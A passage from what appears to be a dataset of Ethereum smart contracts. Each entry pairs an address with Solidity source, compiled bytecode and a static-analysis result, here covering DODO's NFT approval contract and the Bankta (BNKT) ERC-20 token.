ffff166007836040518082805190602001908083835b602083101515611251578051825260208201915060208101905060208303925061122c565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156113a357816040518082805190602001908083835b6020831015156112fb57805182526020820191506020810190506020830392506112d6565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191661133584611de0565b6040518082805190602001908083835b60208310151561136a5780518252602082019150602081019050602083039250611345565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019161490506113a8565b600190505b92915050565b6000600960009054906101000a900460ff1615156113cb57600080fd5b600254905090565b600960009054906101000a900460ff1681565b60006114cb600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114c15780601f10611496576101008083540402835291602001916114c1565b820191906000526020600020905b8154815290600101906020018083116114a457829003601f168201915b5050505050612320565b9050919050565b60025481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115dc5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156115db5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b5b15156115e757600080fd5b600960009054906101000a900460ff16151561160257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561163e57600080fd5b61167982828080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050611b1d565b151561168457600080fd5b6116c08383838080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050611200565b15156116cb57600080fd5b6000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018054600181600116156101000203166002900490501115611925576040805190810160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016007600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160405180828054600181600116156101000203166002900480156117f15780601f106117cf5761010080835404028352918201916117f1565b820191906000526020600020905b8154815290600101906020018083116117dd575b50509150509081526020016040518091039020600101548152506007600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160405180828054600181600116156101000203166002900480156118aa5780601f106118885761010080835404028352918201916118aa565b820191906000526020600020905b815481529060010190602001808311611896575b5050915050908152602001604051809103902060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155905050600460008154809291906001900391905055505b604080519081016040528083838080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050815260200142815250600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000190805190602001906119c792919061248c565b506020820151816001015590505060408051908101604052808473ffffffffffffffffffffffffffffffffffffffff168152602001428152506007838360405180838380828437820191505092505050908152602001604051809103902060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101559050506004600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff167f94e5d971bd7bf5b224803c026e42d9c1e3f7082f7f82a118fd306d8a8496350c8383604051808060200182810382528484828181526020019250808284378201915050935050505060405180910390a2505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611b2761250c565b6000839150600082511415611b3f5760009250611cb4565b600090505b8151811015611caf5760307f0100000000000000000000000000000000000000000000000000000000000000028282815181101515611b7f57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161080611c94575060397f0100000000000000000000000000000000000000000000000000000000000000028282815181101515611c2557fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916115b15611ca25760009250611cb4565b8080600101915050611b44565b600192505b5050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d1657600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515611d8b57fe5b565b60006007838360405180838380828437820191505092505050908152602001604051809103902060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905092915050565b611de8612478565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ebe5780601f10611e9357610100808354040283529160200191611ebe565b820191906000526020600020905b815481529060010190602001808311611ea157829003601f168201915b50505050509050919050565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f605780601f10611f3557610100808354040283529160200191611f60565b820191906000526020600020905b815481529060010190602001808311611f4357829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fc357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611fff57600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561209e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561212a5750600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b151561213557600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561222657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561226257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061232a61250c565b60008084925060009350600091505b82518210156123f057828281518110151561235057fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f010000000000000000000000000000000000000000000000000000000000000090049050603081101580156123d2575060398111155b156123e35760308103600a85020193505b8180600101925050612339565b505050919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061243957803560ff1916838001178555612467565b82800160010185558215612467579182015b8281111561246657823582559160200191906001019061244b565b5b5090506124749190612520565b5090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106124cd57805160ff19168380011785556124fb565b828001600101855582156124fb579182015b828111156124fa5782518255916020019190600101906124df565b5b5090506125089190612520565b5090565b602060405190810160405280600081525090565b61254291905b8082111561253e576000816000905550600101612526565b5090565b905600a165627a7a72305820d36023d6f95ef541e1b9f95c4a6a06587eaeb52d33ecb5a26e430b296bf942f40029
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
425
0xf740253BDF035620E12f55D61C092aa294E2E5F3
// File: contracts/intf/IERC165.sol // This is a file copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/introspection/IERC165.sol // SPDX-License-Identifier: MIT pragma solidity 0.6.9; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: contracts/intf/IERC721.sol /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: contracts/intf/IERC1155.sol /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle( address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value ); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File: contracts/lib/InitializableOwnable.sol /** * @title Ownable * @author DODO Breeder * * @notice Ownership related functions */ contract InitializableOwnable { address public _OWNER_; address public _NEW_OWNER_; bool internal _INITIALIZED_; // ============ Events ============ event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); // ============ Modifiers ============ modifier notInitialized() { require(!_INITIALIZED_, "DODO_INITIALIZED"); _; } modifier onlyOwner() { require(msg.sender == _OWNER_, "NOT_OWNER"); _; } // ============ Functions ============ function initOwner(address newOwner) public notInitialized { _INITIALIZED_ = true; _OWNER_ = newOwner; } function transferOwnership(address newOwner) public onlyOwner { emit OwnershipTransferPrepared(_OWNER_, newOwner); _NEW_OWNER_ = newOwner; } function claimOwnership() public { require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM"); emit OwnershipTransferred(_OWNER_, _NEW_OWNER_); _OWNER_ = _NEW_OWNER_; _NEW_OWNER_ = address(0); } } // File: contracts/SmartRoute/DODONFTApprove.sol /** * @title DODONFTApprove * @author DODO Breeder * * @notice Handle NFT authorizations in DODO platform */ contract DODONFTApprove is InitializableOwnable { // ============ Storage ============ uint256 private constant _TIMELOCK_DURATION_ = 3 days; mapping (address => bool) public _IS_ALLOWED_PROXY_; uint256 public _TIMELOCK_; address public _PENDING_ADD_DODO_PROXY_; // ============ Events ============ event AddDODOProxy(address dodoProxy); event RemoveDODOProxy(address oldProxy); // ============ Modifiers ============ modifier notLocked() { require( _TIMELOCK_ <= block.timestamp, "AddProxy is timelocked" ); _; } function init(address owner, address[] memory proxies) external { initOwner(owner); for(uint i = 0; i < proxies.length; i++) _IS_ALLOWED_PROXY_[proxies[i]] = true; } function unlockAddProxy(address newDodoProxy) external onlyOwner { _TIMELOCK_ = block.timestamp + _TIMELOCK_DURATION_; _PENDING_ADD_DODO_PROXY_ = newDodoProxy; } function lockAddProxy() public onlyOwner { _PENDING_ADD_DODO_PROXY_ = address(0); _TIMELOCK_ = 0; } function addDODOProxy() external onlyOwner notLocked() { _IS_ALLOWED_PROXY_[_PENDING_ADD_DODO_PROXY_] = true; lockAddProxy(); emit AddDODOProxy(_PENDING_ADD_DODO_PROXY_); } function removeDODOProxy (address oldDodoProxy) external onlyOwner { _IS_ALLOWED_PROXY_[oldDodoProxy] = false; emit RemoveDODOProxy(oldDodoProxy); } function claimERC721( address nftContract, address who, address dest, uint256 tokenId ) external { require(_IS_ALLOWED_PROXY_[msg.sender], "DODONFTApprove:Access restricted"); IERC721(nftContract).safeTransferFrom(who, dest, tokenId); } function claimERC1155( address nftContract, address who, address dest, uint256 tokenId, uint256 amount ) external { require(_IS_ALLOWED_PROXY_[msg.sender], "DODONFTApprove:Access restricted"); IERC1155(nftContract).safeTransferFrom(who, dest, tokenId, amount, ""); } function claimERC1155Batch( address nftContract, address who, address dest, uint256[] memory tokenIds, uint256[] memory amounts ) external { require(_IS_ALLOWED_PROXY_[msg.sender], "DODONFTApprove:Access restricted"); IERC1155(nftContract).safeBatchTransferFrom(who, dest, tokenIds, amounts, ""); } function isAllowedProxy(address _proxy) external view returns (bool) { return _IS_ALLOWED_PROXY_[_proxy]; } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806345467cf8116100a25780638456db15116100715780638456db1514610351578063b75dbf6814610359578063c87dadb614610373578063cc646ed4146104bb578063f2fde38b146104c35761010b565b806345467cf8146102df57806348a4f9931461031b5780634e71e0c814610341578063556d65a8146103495761010b565b80633a86185c116100de5780633a86185c146101a85780633b2f27bb146101ea5780633c5a3cea146102245780633e688589146102d75761010b565b80630d0092971461011057806316048bc4146101385780632c419f2f1461015c578063374445b214610182575b600080fd5b6101366004803603602081101561012657600080fd5b50356001600160a01b03166104e9565b005b610140610571565b604080516001600160a01b039092168252519081900360200190f35b6101366004803603602081101561017257600080fd5b50356001600160a01b0316610580565b6101366004803603602081101561019857600080fd5b50356001600160a01b0316610623565b610136600480360360a08110156101be57600080fd5b506001600160a01b03813581169160208101358216916040820135169060608101359060800135610699565b6102106004803603602081101561020057600080fd5b50356001600160a01b0316610788565b604080519115158252519081900360200190f35b6101366004803603604081101561023a57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561026557600080fd5b82018360208201111561027757600080fd5b8035906020019184602083028401116401000000008311171561029957600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061079d945050505050565b610136610803565b610136600480360360808110156102f557600080fd5b506001600160a01b0381358116916020810135821691604082013516906060013561090c565b6102106004803603602081101561033157600080fd5b50356001600160a01b03166109e8565b610136610a06565b610136610ab9565b610140610b1b565b610361610b2a565b60408051918252519081900360200190f35b610136600480360360a081101561038957600080fd5b6001600160a01b03823581169260208101358216926040820135909216918101906080810160608201356401000000008111156103c557600080fd5b8201836020820111156103d757600080fd5b803590602001918460208302840111640100000000831117156103f957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561044957600080fd5b82018360208201111561045b57600080fd5b8035906020019184602083028401116401000000008311171561047d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b30945050505050565b610140610ca6565b610136600480360360208110156104d957600080fd5b50356001600160a01b0316610cb5565b600154600160a01b900460ff161561053b576040805162461bcd60e51b815260206004820152601060248201526f1113d113d7d25392551250531256915160821b604482015290519081900360640190fd5b6001805460ff60a01b1916600160a01b179055600080546001600160a01b039092166001600160a01b0319909216919091179055565b6000546001600160a01b031681565b6000546001600160a01b031633146105cb576040805162461bcd60e51b81526020600482015260096024820152682727aa2fa7aba722a960b91b604482015290519081900360640190fd5b6001600160a01b038116600081815260026020908152604091829020805460ff19169055815192835290517f7b521f2b181cc90de96df93c372dc4401b917454c2f50aa3c857ac43b037b86f9281900390910190a150565b6000546001600160a01b0316331461066e576040805162461bcd60e51b81526020600482015260096024820152682727aa2fa7aba722a960b91b604482015290519081900360640190fd5b6203f4804201600355600480546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526002602052604090205460ff166106fd576040805162461bcd60e51b815260206004820181905260248201527f444f444f4e4654417070726f76653a4163636573732072657374726963746564604482015290519081900360640190fd5b60408051637921219560e11b81526001600160a01b0386811660048301528581166024830152604482018590526064820184905260a06084830152600060a4830181905292519088169263f242432a9260e4808201939182900301818387803b15801561076957600080fd5b505af115801561077d573d6000803e3d6000fd5b505050505050505050565b60026020526000908152604090205460ff1681565b6107a6826104e9565b60005b81518110156107fe576001600260008484815181106107c457fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016107a9565b505050565b6000546001600160a01b0316331461084e576040805162461bcd60e51b81526020600482015260096024820152682727aa2fa7aba722a960b91b604482015290519081900360640190fd5b42600354111561089e576040805162461bcd60e51b8152602060048201526016602482015275105919141c9bde1e481a5cc81d1a5b595b1bd8dad95960521b604482015290519081900360640190fd5b6004546001600160a01b03166000908152600260205260409020805460ff191660011790556108cb610ab9565b600454604080516001600160a01b039092168252517f0fce3e37ea01d04fcd3ef7c3d9e6f42919f71526c9af85894c1d8c7efa8621c29181900360200190a1565b3360009081526002602052604090205460ff16610970576040805162461bcd60e51b815260206004820181905260248201527f444f444f4e4654417070726f76653a4163636573732072657374726963746564604482015290519081900360640190fd5b60408051632142170760e11b81526001600160a01b0385811660048301528481166024830152604482018490529151918616916342842e0e9160648082019260009290919082900301818387803b1580156109ca57600080fd5b505af11580156109de573d6000803e3d6000fd5b5050505050505050565b6001600160a01b031660009081526002602052604090205460ff1690565b6001546001600160a01b03163314610a55576040805162461bcd60e51b815260206004820152600d60248201526c494e56414c49445f434c41494d60981b604482015290519081900360640190fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b03163314610b04576040805162461bcd60e51b81526020600482015260096024820152682727aa2fa7aba722a960b91b604482015290519081900360640190fd5b600480546001600160a01b03191690556000600355565b6001546001600160a01b031681565b60035481565b3360009081526002602052604090205460ff16610b94576040805162461bcd60e51b815260206004820181905260248201527f444f444f4e4654417070726f76653a4163636573732072657374726963746564604482015290519081900360640190fd5b846001600160a01b0316632eb2c2d6858585856040518563ffffffff1660e01b815260040180856001600160a01b03166001600160a01b03168152602001846001600160a01b03166001600160a01b03168152602001806020018060200180602001848103845286818151815260200191508051906020019060200280838360005b83811015610c2e578181015183820152602001610c16565b50505050905001848103835285818151815260200191508051906020019060200280838360005b83811015610c6d578181015183820152602001610c55565b50505050905001848103825260008152602001602001975050505050505050600060405180830381600087803b15801561076957600080fd5b6004546001600160a01b031681565b6000546001600160a01b03163314610d00576040805162461bcd60e51b81526020600482015260096024820152682727aa2fa7aba722a960b91b604482015290519081900360640190fd5b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b039290921691909117905556fea2646970667358221220eaa5d81de85b17510d851145a42e94c23f264395a4b76b738792fe17e50b5dd664736f6c63430006090033
{"success": true, "error": null, "results": {}}
426
0x04e60217709db93bf6548ddcddc5c320f7b7fe1a
pragma solidity ^0.4.25; /* * Creator: BNKT (Bankta) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() public constant returns (uint256 supply); function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ constructor () public { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) public constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) public returns (bool success) { allowances [msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * Bankta smart contract. */ contract BNKTToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 50000000 * (10**18); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ constructor () public { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() public constant returns (uint256 supply) { return tokenCount; } string constant public name = "Bankta"; string constant public symbol = "BNKT"; uint8 constant public decimals = 18; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) public returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) public returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens 